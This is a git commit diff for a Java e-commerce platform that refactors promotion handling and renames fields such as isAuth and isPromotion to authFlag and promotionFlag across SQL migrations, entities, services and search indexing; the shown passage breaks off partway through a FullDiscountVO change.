优化促销。移除结算时促销的依赖。规范部分isxxx字段命名

This commit is contained in:
paulGao 2021-12-21 18:54:11 +08:00
parent e4047fbd30
commit 3ba4d24041
56 changed files with 534 additions and 534 deletions

View File

@ -1,4 +1,5 @@
-- 促销重构sql
ALTER TABLE li_coupon DROP COLUMN promotion_status; ALTER TABLE li_coupon DROP COLUMN promotion_status;
ALTER TABLE li_coupon_activity DROP COLUMN promotion_status; ALTER TABLE li_coupon_activity DROP COLUMN promotion_status;
@ -36,3 +37,17 @@ ALTER TABLE li_promotion_goods ADD `goods_id` varchar(255) CHARACTER SET utf8mb4
ALTER TABLE li_seckill DROP COLUMN promotion_status; ALTER TABLE li_seckill DROP COLUMN promotion_status;
ALTER TABLE li_seckill ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; ALTER TABLE li_seckill ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID';
ALTER TABLE li_seckill ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; ALTER TABLE li_seckill ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型';
ALTER TABLE li_full_discount RENAME COLUMN is_coupon TO coupon_flag;
ALTER TABLE li_full_discount RENAME COLUMN is_free_freight TO free_freight_flag;
ALTER TABLE li_full_discount RENAME COLUMN is_full_minus TO full_minus_flag;
ALTER TABLE li_full_discount RENAME COLUMN is_full_rate TO full_rate_flag;
ALTER TABLE li_full_discount RENAME COLUMN is_gift TO gift_flag;
ALTER TABLE li_full_discount RENAME COLUMN is_point TO point_flag;
ALTER TABLE li_member_coupon RENAME COLUMN is_platform TO platform_flag;
ALTER TABLE li_goods RENAME COLUMN is_auth TO auth_flag;
ALTER TABLE li_goods_sku RENAME COLUMN is_promotion TO promotion_flag;
ALTER TABLE li_goods_sku RENAME COLUMN is_auth TO auth_flag;

View File

@ -246,7 +246,7 @@ public class CartController {
throw se; throw se;
} catch (Exception e) { } catch (Exception e) {
log.error(ResultCode.ORDER_ERROR.message(), e); log.error(ResultCode.ORDER_ERROR.message(), e);
throw new ServiceException(ResultCode.ORDER_ERROR); throw e;
} }
} }
} }

View File

@ -53,8 +53,8 @@ public class KanjiaGoodsActivityBuyerController {
public ResultMessage<IPage<KanjiaActivityGoodsListVO>> kanjiaActivityGoodsPage(KanjiaActivityGoodsParams kanjiaActivityGoodsParams, PageVO page) { public ResultMessage<IPage<KanjiaActivityGoodsListVO>> kanjiaActivityGoodsPage(KanjiaActivityGoodsParams kanjiaActivityGoodsParams, PageVO page) {
// 会员端查询到的肯定是已经开始的活动商品 // 会员端查询到的肯定是已经开始的活动商品
kanjiaActivityGoodsParams.setPromotionStatus(PromotionsStatusEnum.START.name()); kanjiaActivityGoodsParams.setPromotionStatus(PromotionsStatusEnum.START.name());
kanjiaActivityGoodsParams.setStartTime(System.currentTimeMillis()); // kanjiaActivityGoodsParams.setStartTime(System.currentTimeMillis());
kanjiaActivityGoodsParams.setEndTime(System.currentTimeMillis()); // kanjiaActivityGoodsParams.setEndTime(System.currentTimeMillis());
return ResultUtil.data(kanJiaActivityGoodsService.kanjiaGoodsVOPage(kanjiaActivityGoodsParams, page)); return ResultUtil.data(kanJiaActivityGoodsService.kanjiaGoodsVOPage(kanjiaActivityGoodsParams, page));
} }

View File

@ -141,12 +141,20 @@ public class GoodsMessageListener implements RocketMQListener<MessageExt> {
this.updateGoodsIndexPromotions(new String(messageExt.getBody())); this.updateGoodsIndexPromotions(new String(messageExt.getBody()));
break; break;
case DELETE_GOODS_INDEX_PROMOTIONS: case DELETE_GOODS_INDEX_PROMOTIONS:
this.goodsIndexService.deleteEsGoodsPromotionByPromotionId(null, new String(messageExt.getBody())); BasePromotions promotions = JSONUtil.toBean(new String(messageExt.getBody()), BasePromotions.class);
log.info("删除索引信息: {}", promotions);
if (CharSequenceUtil.isNotEmpty(promotions.getScopeId())) {
this.goodsIndexService.deleteEsGoodsPromotionByPromotionId(Arrays.asList(promotions.getScopeId().split(",")), promotions.getId());
} else {
this.goodsIndexService.deleteEsGoodsPromotionByPromotionId(null, promotions.getId());
}
break; break;
case UPDATE_GOODS_INDEX: case UPDATE_GOODS_INDEX:
try { try {
String goodsIdsJsonStr = new String(messageExt.getBody()); String goodsIdsJsonStr = new String(messageExt.getBody());
List<Goods> goodsList = goodsService.list(new LambdaQueryWrapper<Goods>().in(Goods::getId, JSONUtil.toList(goodsIdsJsonStr, String.class))); GoodsSearchParams searchParams = new GoodsSearchParams();
searchParams.setId(ArrayUtil.join(JSONUtil.toList(goodsIdsJsonStr, String.class).toArray(), ","));
List<Goods> goodsList = goodsService.queryListByParams(searchParams);
this.updateGoodsIndex(goodsList); this.updateGoodsIndex(goodsList);
} catch (Exception e) { } catch (Exception e) {
log.error("更新商品索引事件执行异常,商品信息 {}", new String(messageExt.getBody())); log.error("更新商品索引事件执行异常,商品信息 {}", new String(messageExt.getBody()));
@ -224,6 +232,8 @@ public class GoodsMessageListener implements RocketMQListener<MessageExt> {
PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams();
searchParams.setPromotionId(promotions.getId()); searchParams.setPromotionId(promotions.getId());
List<PromotionGoods> promotionGoodsList = this.promotionGoodsService.listFindAll(searchParams); List<PromotionGoods> promotionGoodsList = this.promotionGoodsService.listFindAll(searchParams);
List<String> skuIds = promotionGoodsList.stream().map(PromotionGoods::getSkuId).collect(Collectors.toList());
this.goodsIndexService.deleteEsGoodsPromotionByPromotionId(skuIds, promotions.getId());
this.goodsIndexService.updateEsGoodsIndexByList(promotionGoodsList, promotions, esPromotionKey); this.goodsIndexService.updateEsGoodsIndexByList(promotionGoodsList, promotions, esPromotionKey);
} else if (PromotionsScopeTypeEnum.PORTION_GOODS_CATEGORY.name().equals(promotions.getScopeType())) { } else if (PromotionsScopeTypeEnum.PORTION_GOODS_CATEGORY.name().equals(promotions.getScopeType())) {
GoodsSearchParams searchParams = new GoodsSearchParams(); GoodsSearchParams searchParams = new GoodsSearchParams();
@ -249,7 +259,7 @@ public class GoodsMessageListener implements RocketMQListener<MessageExt> {
for (Goods goods : goodsList) { for (Goods goods : goodsList) {
//如果商品通过审核&&并且已上架 //如果商品通过审核&&并且已上架
List<GoodsSku> goodsSkuList = this.goodsSkuService.list(new LambdaQueryWrapper<GoodsSku>().eq(GoodsSku::getGoodsId, goods.getId()).gt(GoodsSku::getQuantity, 0)); List<GoodsSku> goodsSkuList = this.goodsSkuService.list(new LambdaQueryWrapper<GoodsSku>().eq(GoodsSku::getGoodsId, goods.getId()).gt(GoodsSku::getQuantity, 0));
if (goods.getIsAuth().equals(GoodsAuthEnum.PASS.name()) if (goods.getAuthFlag().equals(GoodsAuthEnum.PASS.name())
&& goods.getMarketEnable().equals(GoodsStatusEnum.UPPER.name()) && goods.getMarketEnable().equals(GoodsStatusEnum.UPPER.name())
&& Boolean.FALSE.equals(goods.getDeleteFlag())) { && Boolean.FALSE.equals(goods.getDeleteFlag())) {
goodsSkuList.forEach(goodsSku -> { goodsSkuList.forEach(goodsSku -> {
@ -278,7 +288,7 @@ public class GoodsMessageListener implements RocketMQListener<MessageExt> {
private void updateGoodsIndex(Goods goods) { private void updateGoodsIndex(Goods goods) {
//如果商品通过审核&&并且已上架 //如果商品通过审核&&并且已上架
List<GoodsSku> goodsSkuList = this.goodsSkuService.list(new LambdaQueryWrapper<GoodsSku>().eq(GoodsSku::getGoodsId, goods.getId())); List<GoodsSku> goodsSkuList = this.goodsSkuService.list(new LambdaQueryWrapper<GoodsSku>().eq(GoodsSku::getGoodsId, goods.getId()));
if (goods.getIsAuth().equals(GoodsAuthEnum.PASS.name()) if (goods.getAuthFlag().equals(GoodsAuthEnum.PASS.name())
&& goods.getMarketEnable().equals(GoodsStatusEnum.UPPER.name()) && goods.getMarketEnable().equals(GoodsStatusEnum.UPPER.name())
&& Boolean.FALSE.equals(goods.getDeleteFlag())) { && Boolean.FALSE.equals(goods.getDeleteFlag())) {
this.generatorGoodsIndex(goods, goodsSkuList); this.generatorGoodsIndex(goods, goodsSkuList);
@ -322,7 +332,7 @@ public class GoodsMessageListener implements RocketMQListener<MessageExt> {
List<GoodsParamsDTO> goodsParamDTOS = JSONUtil.toList(goods.getParams(), GoodsParamsDTO.class); List<GoodsParamsDTO> goodsParamDTOS = JSONUtil.toList(goods.getParams(), GoodsParamsDTO.class);
goodsIndex = new EsGoodsIndex(goodsSku, goodsParamDTOS); goodsIndex = new EsGoodsIndex(goodsSku, goodsParamDTOS);
} }
goodsIndex.setIsAuth(goods.getIsAuth()); goodsIndex.setAuthFlag(goods.getAuthFlag());
goodsIndex.setMarketEnable(goods.getMarketEnable()); goodsIndex.setMarketEnable(goods.getMarketEnable());
this.settingUpGoodsIndexOtherParam(goodsIndex); this.settingUpGoodsIndexOtherParam(goodsIndex);
return goodsIndex; return goodsIndex;

View File

@ -2,6 +2,7 @@ package cn.lili.trigger.executor;
import cn.hutool.json.JSONUtil; import cn.hutool.json.JSONUtil;
import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.order.order.service.OrderService;
import cn.lili.modules.promotion.entity.dos.Pintuan;
import cn.lili.trigger.TimeTriggerExecutor; import cn.lili.trigger.TimeTriggerExecutor;
import cn.lili.trigger.message.PintuanOrderMessage; import cn.lili.trigger.message.PintuanOrderMessage;
import cn.lili.trigger.model.TimeExecuteConstant; import cn.lili.trigger.model.TimeExecuteConstant;
@ -35,6 +36,10 @@ public class PromotionTimeTriggerExecutor implements TimeTriggerExecutor {
//拼团订单自动处理 //拼团订单自动处理
orderService.agglomeratePintuanOrder(pintuanOrderMessage.getPintuanId(), pintuanOrderMessage.getOrderSn()); orderService.agglomeratePintuanOrder(pintuanOrderMessage.getPintuanId(), pintuanOrderMessage.getOrderSn());
} }
Pintuan pintuan = JSONUtil.toBean(JSONUtil.parseObj(object), Pintuan.class);
if (pintuan != null && pintuan.getId() != null) {
this.orderService.checkFictitiousOrder(pintuan.getId(), pintuan.getRequiredNum(), pintuan.getFictitious());
}
} }

View File

@ -364,6 +364,7 @@ public enum ResultCode {
KANJIA_GOODS_ACTIVE_HIGHEST_LOWEST_PRICE_ERROR(48005, "最低砍价金额不能高于最高砍价金额"), KANJIA_GOODS_ACTIVE_HIGHEST_LOWEST_PRICE_ERROR(48005, "最低砍价金额不能高于最高砍价金额"),
KANJIA_GOODS_ACTIVE_SETTLEMENT_PRICE_ERROR(48006, "结算金额不能高于商品金额"), KANJIA_GOODS_ACTIVE_SETTLEMENT_PRICE_ERROR(48006, "结算金额不能高于商品金额"),
KANJIA_GOODS_DELETE_ERROR(48007, "删除砍价商品异常"), KANJIA_GOODS_DELETE_ERROR(48007, "删除砍价商品异常"),
KANJIA_GOODS_UPDATE_ERROR(48012, "更新砍价商品异常"),
KANJIA_ACTIVITY_NOT_FOUND_ERROR(48008, "砍价记录不存在"), KANJIA_ACTIVITY_NOT_FOUND_ERROR(48008, "砍价记录不存在"),
KANJIA_ACTIVITY_LOG_MEMBER_ERROR(48009, "当前会员已经帮砍"), KANJIA_ACTIVITY_LOG_MEMBER_ERROR(48009, "当前会员已经帮砍"),
KANJIA_ACTIVITY_MEMBER_ERROR(48010, "当前会员已经发起此砍价商品活动"), KANJIA_ACTIVITY_MEMBER_ERROR(48010, "当前会员已经发起此砍价商品活动"),

View File

@ -244,7 +244,7 @@ public abstract class BaseElasticsearchService {
" }\n" + " }\n" +
" }\n" + " }\n" +
" },\n" + " },\n" +
" \"isAuth\": {\n" + " \"authFlag\": {\n" +
" \"type\": \"text\",\n" + " \"type\": \"text\",\n" +
" \"fields\": {\n" + " \"fields\": {\n" +
" \"keyword\": {\n" + " \"keyword\": {\n" +

View File

@ -57,7 +57,7 @@ public class ElasticsearchConfig extends AbstractElasticsearchConfiguration {
.setDefaultCredentialsProvider(credential) .setDefaultCredentialsProvider(credential)
.setKeepAliveStrategy(getConnectionKeepAliveStrategy()) .setKeepAliveStrategy(getConnectionKeepAliveStrategy())
.setMaxConnPerRoute(10) .setMaxConnPerRoute(10)
.setDefaultIOReactorConfig(IOReactorConfig.custom().setIoThreadCount(1).build())); .setDefaultIOReactorConfig(IOReactorConfig.custom().setIoThreadCount(Runtime.getRuntime().availableProcessors()).build()));
} }
restBuilder.setRequestConfigCallback(requestConfigBuilder -> restBuilder.setRequestConfigCallback(requestConfigBuilder ->

View File

@ -107,7 +107,7 @@ public class Goods extends BaseEntity {
private String templateId; private String templateId;
@ApiModelProperty(value = "审核状态") @ApiModelProperty(value = "审核状态")
private String isAuth; private String authFlag;
@ApiModelProperty(value = "审核信息") @ApiModelProperty(value = "审核信息")
private String authMessage; private String authMessage;

View File

@ -42,7 +42,7 @@ public class GoodsSku extends BaseEntity {
private String freightTemplateId; private String freightTemplateId;
@ApiModelProperty(value = "是否是促销商品") @ApiModelProperty(value = "是否是促销商品")
private Boolean isPromotion; private Boolean promotionFlag;
@ApiModelProperty(value = "促销价") @ApiModelProperty(value = "促销价")
private Double promotionPrice; private Double promotionPrice;
@ -130,7 +130,7 @@ public class GoodsSku extends BaseEntity {
* @see GoodsAuthEnum * @see GoodsAuthEnum
*/ */
@ApiModelProperty(value = "审核状态") @ApiModelProperty(value = "审核状态")
private String isAuth; private String authFlag;
@ApiModelProperty(value = "审核信息") @ApiModelProperty(value = "审核信息")
private String authMessage; private String authMessage;

View File

@ -9,6 +9,8 @@ import io.swagger.annotations.ApiModelProperty;
import lombok.Data; import lombok.Data;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
import java.util.Arrays;
/** /**
* 商品查询条件 * 商品查询条件
* *
@ -58,7 +60,7 @@ public class GoodsSearchParams extends PageVO {
* @see GoodsAuthEnum * @see GoodsAuthEnum
*/ */
@ApiModelProperty(value = "审核状态") @ApiModelProperty(value = "审核状态")
private String isAuth; private String authFlag;
@ApiModelProperty(value = "库存数量") @ApiModelProperty(value = "库存数量")
private Integer quantity; private Integer quantity;
@ -81,7 +83,7 @@ public class GoodsSearchParams extends PageVO {
queryWrapper.like("goods_name", goodsName); queryWrapper.like("goods_name", goodsName);
} }
if (CharSequenceUtil.isNotEmpty(id)) { if (CharSequenceUtil.isNotEmpty(id)) {
queryWrapper.eq("id", id); queryWrapper.in("id", Arrays.asList(id.split(",")));
} }
if (CharSequenceUtil.isNotEmpty(storeId)) { if (CharSequenceUtil.isNotEmpty(storeId)) {
queryWrapper.eq("store_id", storeId); queryWrapper.eq("store_id", storeId);
@ -101,8 +103,8 @@ public class GoodsSearchParams extends PageVO {
if (CharSequenceUtil.isNotEmpty(marketEnable)) { if (CharSequenceUtil.isNotEmpty(marketEnable)) {
queryWrapper.eq("market_enable", marketEnable); queryWrapper.eq("market_enable", marketEnable);
} }
if (CharSequenceUtil.isNotEmpty(isAuth)) { if (CharSequenceUtil.isNotEmpty(authFlag)) {
queryWrapper.eq("is_auth", isAuth); queryWrapper.eq("auth_flag", authFlag);
} }
if (quantity != null) { if (quantity != null) {
queryWrapper.le("quantity", quantity); queryWrapper.le("quantity", quantity);

View File

@ -83,6 +83,15 @@ public interface GoodsService extends IService<Goods> {
*/ */
IPage<Goods> queryByParams(GoodsSearchParams goodsSearchParams); IPage<Goods> queryByParams(GoodsSearchParams goodsSearchParams);
/**
* 商品查询
*
* @param goodsSearchParams 查询参数
* @return 商品信息
*/
List<Goods> queryListByParams(GoodsSearchParams goodsSearchParams);
/** /**
* 批量审核商品 * 批量审核商品
* *

View File

@ -147,7 +147,7 @@ public interface GoodsSkuService extends IService<GoodsSku> {
/** /**
* 更新商品sku状态 * 更新商品sku状态
* *
* @param goods 商品信息(Id,MarketEnable/IsAuth) * @param goods 商品信息(Id,MarketEnable/AuthFlag)
*/ */
void updateGoodsSkuStatus(Goods goods); void updateGoodsSkuStatus(Goods goods);

View File

@ -70,7 +70,7 @@ public class CommodityServiceImpl extends ServiceImpl<CommodityMapper, Commodity
private void checkCommodity(Commodity commodity) { private void checkCommodity(Commodity commodity) {
//商品是否审核通过 //商品是否审核通过
GoodsSku goodsSku = goodsSkuService.getById(commodity.getSkuId()); GoodsSku goodsSku = goodsSkuService.getById(commodity.getSkuId());
if (!goodsSku.getIsAuth().equals(GoodsAuthEnum.PASS.name())) { if (!goodsSku.getAuthFlag().equals(GoodsAuthEnum.PASS.name())) {
throw new ServiceException(goodsSku.getGoodsName() + " 未审核通过,不能添加直播商品"); throw new ServiceException(goodsSku.getGoodsName() + " 未审核通过,不能添加直播商品");
} }
//是否已添加规格商品 //是否已添加规格商品

View File

@ -22,7 +22,10 @@ import cn.lili.modules.goods.entity.enums.GoodsStatusEnum;
import cn.lili.modules.goods.entity.vos.GoodsSkuVO; import cn.lili.modules.goods.entity.vos.GoodsSkuVO;
import cn.lili.modules.goods.entity.vos.GoodsVO; import cn.lili.modules.goods.entity.vos.GoodsVO;
import cn.lili.modules.goods.mapper.GoodsMapper; import cn.lili.modules.goods.mapper.GoodsMapper;
import cn.lili.modules.goods.service.*; import cn.lili.modules.goods.service.CategoryService;
import cn.lili.modules.goods.service.GoodsGalleryService;
import cn.lili.modules.goods.service.GoodsService;
import cn.lili.modules.goods.service.GoodsSkuService;
import cn.lili.modules.member.entity.dos.MemberEvaluation; import cn.lili.modules.member.entity.dos.MemberEvaluation;
import cn.lili.modules.member.entity.enums.EvaluationGradeEnum; import cn.lili.modules.member.entity.enums.EvaluationGradeEnum;
import cn.lili.modules.member.service.MemberEvaluationService; import cn.lili.modules.member.service.MemberEvaluationService;
@ -107,11 +110,6 @@ public class GoodsServiceImpl extends ServiceImpl<GoodsMapper, Goods> implements
*/ */
@Autowired @Autowired
private RocketmqCustomProperties rocketmqCustomProperties; private RocketmqCustomProperties rocketmqCustomProperties;
/**
* 分类-参数
*/
@Autowired
private CategoryParameterGroupService categoryParameterGroupService;
@Autowired @Autowired
private FreightTemplateService freightTemplateService; private FreightTemplateService freightTemplateService;
@ -255,12 +253,23 @@ public class GoodsServiceImpl extends ServiceImpl<GoodsMapper, Goods> implements
return this.page(PageUtil.initPage(goodsSearchParams), goodsSearchParams.queryWrapper()); return this.page(PageUtil.initPage(goodsSearchParams), goodsSearchParams.queryWrapper());
} }
/**
* 商品查询
*
* @param goodsSearchParams 查询参数
* @return 商品信息
*/
@Override
public List<Goods> queryListByParams(GoodsSearchParams goodsSearchParams) {
return this.list(goodsSearchParams.queryWrapper());
}
@Override @Override
public boolean auditGoods(List<String> goodsIds, GoodsAuthEnum goodsAuthEnum) { public boolean auditGoods(List<String> goodsIds, GoodsAuthEnum goodsAuthEnum) {
boolean result = false; boolean result = false;
for (String goodsId : goodsIds) { for (String goodsId : goodsIds) {
Goods goods = this.checkExist(goodsId); Goods goods = this.checkExist(goodsId);
goods.setIsAuth(goodsAuthEnum.name()); goods.setAuthFlag(goodsAuthEnum.name());
result = this.updateById(goods); result = this.updateById(goods);
goodsSkuService.updateGoodsSkuStatus(goods); goodsSkuService.updateGoodsSkuStatus(goods);
//删除之前的缓存 //删除之前的缓存
@ -384,7 +393,7 @@ public class GoodsServiceImpl extends ServiceImpl<GoodsMapper, Goods> implements
return this.count( return this.count(
new LambdaQueryWrapper<Goods>() new LambdaQueryWrapper<Goods>()
.eq(Goods::getStoreId, storeId) .eq(Goods::getStoreId, storeId)
.eq(Goods::getIsAuth, GoodsAuthEnum.PASS.name()) .eq(Goods::getAuthFlag, GoodsAuthEnum.PASS.name())
.eq(Goods::getMarketEnable, GoodsStatusEnum.UPPER.name())); .eq(Goods::getMarketEnable, GoodsStatusEnum.UPPER.name()));
} }
@ -445,7 +454,7 @@ public class GoodsServiceImpl extends ServiceImpl<GoodsMapper, Goods> implements
Setting setting = settingService.get(SettingEnum.GOODS_SETTING.name()); Setting setting = settingService.get(SettingEnum.GOODS_SETTING.name());
GoodsSetting goodsSetting = JSONUtil.toBean(setting.getSettingValue(), GoodsSetting.class); GoodsSetting goodsSetting = JSONUtil.toBean(setting.getSettingValue(), GoodsSetting.class);
//是否需要审核 //是否需要审核
goods.setIsAuth(Boolean.TRUE.equals(goodsSetting.getGoodsCheck()) ? GoodsAuthEnum.TOBEAUDITED.name() : GoodsAuthEnum.PASS.name()); goods.setAuthFlag(Boolean.TRUE.equals(goodsSetting.getGoodsCheck()) ? GoodsAuthEnum.TOBEAUDITED.name() : GoodsAuthEnum.PASS.name());
//判断当前用户是否为店铺 //判断当前用户是否为店铺
if (Objects.requireNonNull(UserContext.getCurrentUser()).getRole().equals(UserEnums.STORE)) { if (Objects.requireNonNull(UserContext.getCurrentUser()).getRole().equals(UserEnums.STORE)) {
StoreVO storeDetail = this.storeService.getStoreDetail(); StoreVO storeDetail = this.storeService.getStoreDetail();
@ -485,9 +494,8 @@ public class GoodsServiceImpl extends ServiceImpl<GoodsMapper, Goods> implements
//如果当前会员不为空且为店铺角色 //如果当前会员不为空且为店铺角色
if (currentUser != null && (currentUser.getRole().equals(UserEnums.STORE) && currentUser.getStoreId() != null)) { if (currentUser != null && (currentUser.getRole().equals(UserEnums.STORE) && currentUser.getStoreId() != null)) {
return currentUser; return currentUser;
} else {
throw new ServiceException(ResultCode.USER_AUTHORITY_ERROR);
} }
return null;
} }
/** /**

View File

@ -154,7 +154,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl<GoodsSkuMapper, GoodsSku> i
skuInfo(sku, goods, map, null); skuInfo(sku, goods, map, null);
newSkuList.add(sku); newSkuList.add(sku);
//如果商品状态值不对则es索引移除 //如果商品状态值不对则es索引移除
if (goods.getIsAuth().equals(GoodsAuthEnum.PASS.name()) && goods.getMarketEnable().equals(GoodsStatusEnum.UPPER.name())) { if (goods.getAuthFlag().equals(GoodsAuthEnum.PASS.name()) && goods.getMarketEnable().equals(GoodsStatusEnum.UPPER.name())) {
goodsIndexService.deleteIndexById(sku.getId()); goodsIndexService.deleteIndexById(sku.getId());
this.clearCache(sku.getId()); this.clearCache(sku.getId());
} }
@ -234,7 +234,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl<GoodsSkuMapper, GoodsSku> i
//商品为空||商品下架||商品未审核通过||商品删除则提示商品已下架 //商品为空||商品下架||商品未审核通过||商品删除则提示商品已下架
if (goodsVO == null || goodsVO.getMarketEnable().equals(GoodsStatusEnum.DOWN.name()) if (goodsVO == null || goodsVO.getMarketEnable().equals(GoodsStatusEnum.DOWN.name())
|| !goodsVO.getIsAuth().equals(GoodsAuthEnum.PASS.name()) || !goodsVO.getAuthFlag().equals(GoodsAuthEnum.PASS.name())
|| Boolean.TRUE.equals(goodsVO.getDeleteFlag())) { || Boolean.TRUE.equals(goodsVO.getDeleteFlag())) {
throw new ServiceException(ResultCode.GOODS_NOT_EXIST); throw new ServiceException(ResultCode.GOODS_NOT_EXIST);
} }
@ -269,8 +269,11 @@ public class GoodsSkuServiceImpl extends ServiceImpl<GoodsSkuMapper, GoodsSku> i
boolean containsPromotion = promotionMap.keySet().stream().anyMatch(i -> boolean containsPromotion = promotionMap.keySet().stream().anyMatch(i ->
i.contains(PromotionTypeEnum.SECKILL.name()) || i.contains(PromotionTypeEnum.PINTUAN.name())); i.contains(PromotionTypeEnum.SECKILL.name()) || i.contains(PromotionTypeEnum.PINTUAN.name()));
if (containsPromotion && goodsIndex.getPromotionPrice() != null) { if (containsPromotion && goodsIndex.getPromotionPrice() != null) {
goodsSkuDetail.setPromotionFlag(true);
goodsSkuDetail.setPromotionPrice(goodsIndex.getPromotionPrice()); goodsSkuDetail.setPromotionPrice(goodsIndex.getPromotionPrice());
} else {
goodsSkuDetail.setPromotionFlag(false);
goodsSkuDetail.setPromotionPrice(null);
} }
} }
@ -301,14 +304,14 @@ public class GoodsSkuServiceImpl extends ServiceImpl<GoodsSkuMapper, GoodsSku> i
/** /**
* 更新商品sku状态 * 更新商品sku状态
* *
* @param goods 商品信息(Id,MarketEnable/IsAuth) * @param goods 商品信息(Id,MarketEnable/AuthFlag)
*/ */
@Override @Override
public void updateGoodsSkuStatus(Goods goods) { public void updateGoodsSkuStatus(Goods goods) {
LambdaUpdateWrapper<GoodsSku> updateWrapper = new LambdaUpdateWrapper<>(); LambdaUpdateWrapper<GoodsSku> updateWrapper = new LambdaUpdateWrapper<>();
updateWrapper.eq(GoodsSku::getGoodsId, goods.getId()); updateWrapper.eq(GoodsSku::getGoodsId, goods.getId());
updateWrapper.set(GoodsSku::getMarketEnable, goods.getMarketEnable()); updateWrapper.set(GoodsSku::getMarketEnable, goods.getMarketEnable());
updateWrapper.set(GoodsSku::getIsAuth, goods.getIsAuth()); updateWrapper.set(GoodsSku::getAuthFlag, goods.getAuthFlag());
updateWrapper.set(GoodsSku::getDeleteFlag, goods.getDeleteFlag()); updateWrapper.set(GoodsSku::getDeleteFlag, goods.getDeleteFlag());
boolean update = this.update(updateWrapper); boolean update = this.update(updateWrapper);
if (Boolean.TRUE.equals(update)) { if (Boolean.TRUE.equals(update)) {
@ -525,7 +528,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl<GoodsSkuMapper, GoodsSku> i
LambdaUpdateWrapper<GoodsSku> updateWrapper = new LambdaUpdateWrapper<>(); LambdaUpdateWrapper<GoodsSku> updateWrapper = new LambdaUpdateWrapper<>();
updateWrapper.eq(GoodsSku::getId, skuId); updateWrapper.eq(GoodsSku::getId, skuId);
updateWrapper.set(GoodsSku::getPromotionPrice, promotionPrice); updateWrapper.set(GoodsSku::getPromotionPrice, promotionPrice);
updateWrapper.set(GoodsSku::getIsPromotion, true); updateWrapper.set(GoodsSku::getPromotionFlag, true);
this.update(updateWrapper); this.update(updateWrapper);
cache.remove(GoodsSkuService.getCacheKeys(skuId)); cache.remove(GoodsSkuService.getCacheKeys(skuId));
} }
@ -625,7 +628,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl<GoodsSkuMapper, GoodsSku> i
sku.setGoodsUnit(goods.getGoodsUnit()); sku.setGoodsUnit(goods.getGoodsUnit());
sku.setGrade(100D); sku.setGrade(100D);
//商品状态 //商品状态
sku.setIsAuth(goods.getIsAuth()); sku.setAuthFlag(goods.getAuthFlag());
sku.setSalesModel(goods.getSalesModel()); sku.setSalesModel(goods.getSalesModel());
//卖家信息 //卖家信息
sku.setStoreId(goods.getStoreId()); sku.setStoreId(goods.getStoreId());

View File

@ -11,6 +11,7 @@ import lombok.NoArgsConstructor;
import java.io.Serializable; import java.io.Serializable;
import java.util.Date; import java.util.Date;
import java.util.List; import java.util.List;
import java.util.Map;
/** /**
* 购物车中的产品 * 购物车中的产品
@ -85,6 +86,9 @@ public class CartSkuVO extends CartBase implements Serializable {
@ApiModelProperty(value = "参与促销活动更新时间(一天更新一次) 例如时间为2020-01-01 000001") @ApiModelProperty(value = "参与促销活动更新时间(一天更新一次) 例如时间为2020-01-01 000001")
private Date updatePromotionTime; private Date updatePromotionTime;
@ApiModelProperty("商品促销活动集合key 为 促销活动类型value 为 促销活动实体信息 ")
private Map<String, Object> promotionMap;
/** /**
* @see CartTypeEnum * @see CartTypeEnum
*/ */
@ -102,10 +106,20 @@ public class CartSkuVO extends CartBase implements Serializable {
this.updatePromotionTime = new Date(0); this.updatePromotionTime = new Date(0);
this.errorMessage = ""; this.errorMessage = "";
this.isShip = true; this.isShip = true;
this.purchasePrice = goodsSku.getIsPromotion() != null && goodsSku.getIsPromotion() ? goodsSku.getPromotionPrice() : goodsSku.getPrice(); this.purchasePrice = goodsSku.getPromotionFlag() != null && goodsSku.getPromotionFlag() ? goodsSku.getPromotionPrice() : goodsSku.getPrice();
this.isFreeFreight = false; this.isFreeFreight = false;
this.utilPrice = 0D; this.utilPrice = goodsSku.getPromotionFlag() != null && goodsSku.getPromotionFlag() ? goodsSku.getPromotionPrice() : goodsSku.getPrice();
this.setStoreId(goodsSku.getStoreId()); this.setStoreId(goodsSku.getStoreId());
this.setStoreName(goodsSku.getStoreName()); this.setStoreName(goodsSku.getStoreName());
} }
/**
* 在构造器里初始化促销列表规格列表
*/
public CartSkuVO(GoodsSku goodsSku, Map<String, Object> promotionMap) {
this(goodsSku);
if (promotionMap != null && !promotionMap.isEmpty()) {
this.promotionMap = promotionMap;
}
}
} }

View File

@ -1,6 +1,6 @@
package cn.lili.modules.order.cart.entity.vo; package cn.lili.modules.order.cart.entity.vo;
import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.hutool.core.text.CharSequenceUtil;
import cn.lili.modules.promotion.entity.dos.FullDiscount; import cn.lili.modules.promotion.entity.dos.FullDiscount;
import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import lombok.Data; import lombok.Data;
@ -29,14 +29,20 @@ public class FullDiscountVO extends FullDiscount {
private List<PromotionGoods> promotionGoodsList; private List<PromotionGoods> promotionGoodsList;
/** /**
* 赠品信息 * 赠品skuId
*/ */
private GoodsSku giftSku; private String giftSkuId;
/** /**
* 参与商品-1则代表所有商品参加 * 赠品名称
*/ */
private Integer number; private String giftSkuName;
/**
* 赠品路径
*/
private String giftSkuThumbnail;
public FullDiscountVO(FullDiscount fullDiscount) { public FullDiscountVO(FullDiscount fullDiscount) {
BeanUtils.copyProperties(fullDiscount, this); BeanUtils.copyProperties(fullDiscount, this);
@ -44,25 +50,25 @@ public class FullDiscountVO extends FullDiscount {
public String notice() { public String notice() {
StringBuilder stringBuffer = new StringBuilder(); StringBuilder stringBuffer = new StringBuilder();
if (Boolean.TRUE.equals(this.getIsFullMinus())) { if (Boolean.TRUE.equals(this.getFullMinusFlag())) {
